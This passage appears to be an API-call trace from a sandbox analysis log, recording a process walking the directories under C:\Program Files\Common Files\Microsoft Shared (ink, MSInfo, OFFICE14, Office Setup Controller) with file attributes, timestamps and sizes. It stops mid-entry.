1 [0049.769] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0049.769] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593220 [0049.769] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.769] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0049.769] FindClose (in: hFindFile=0x593220 | out: hFindFile=0x593220) returned 1 [0049.769] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0049.769] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0049.769] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0049.769] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0049.769] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSClientDataMgr", cAlternateFileName="MSCLIE~1")) returned 1 [0049.770] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*", lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0049.777] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.777] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 1 [0049.777] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0049.777] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0049.777] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0049.778] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*", lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0049.778] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.778] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0049.778] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593220 [0049.778] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.778] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1 [0049.778] FindClose (in: hFindFile=0x593220 | out: hFindFile=0x593220) returned 1 [0049.778] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0049.778] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0049.779] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0049.779] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0049.779] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0049.779] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*", lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0049.779] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.779] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0049.779] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593220 [0049.780] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.780] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0x305a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEINTL.DLL", cAlternateFileName="")) returned 1 [0049.780] FindClose (in: hFindFile=0x593220 | out: hFindFile=0x593220) returned 1 [0049.781] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0049.781] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703dbc00, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xd80a4ee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x703dbc00, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x310788, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACECORE.DLL", cAlternateFileName="")) returned 1 [0049.781] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593220 [0049.782] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.782] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 1 [0049.782] FindClose (in: hFindFile=0x593220 | out: hFindFile=0x593220) returned 1 [0049.782] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0049.782] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x7eb48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPSRV.DLL", cAlternateFileName="")) returned 1 [0049.783] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593260 [0049.791] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.793] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1 [0049.794] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*", lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0049.805] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.805] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa5fe940, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x15419830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.XML", cAlternateFileName="ACCESS~1.XML")) returned 1 [0049.805] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0049.806] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0049.806] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel.en-us", cAlternateFileName="EXCEL~1.EN-")) returned 1 [0049.806] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*", lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0049.806] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.806] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.XML", cAlternateFileName="")) returned 1 [0049.807] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0049.807] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0049.807] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Groove.en-us", cAlternateFileName="GROOVE~1.EN-")) returned 1 [0049.807] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*", lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0049.808] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.808] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.XML", cAlternateFileName="GROOVE~1.XML")) returned 1 [0049.808] FindClose (in: hFindFile=0x5932a0 | out: 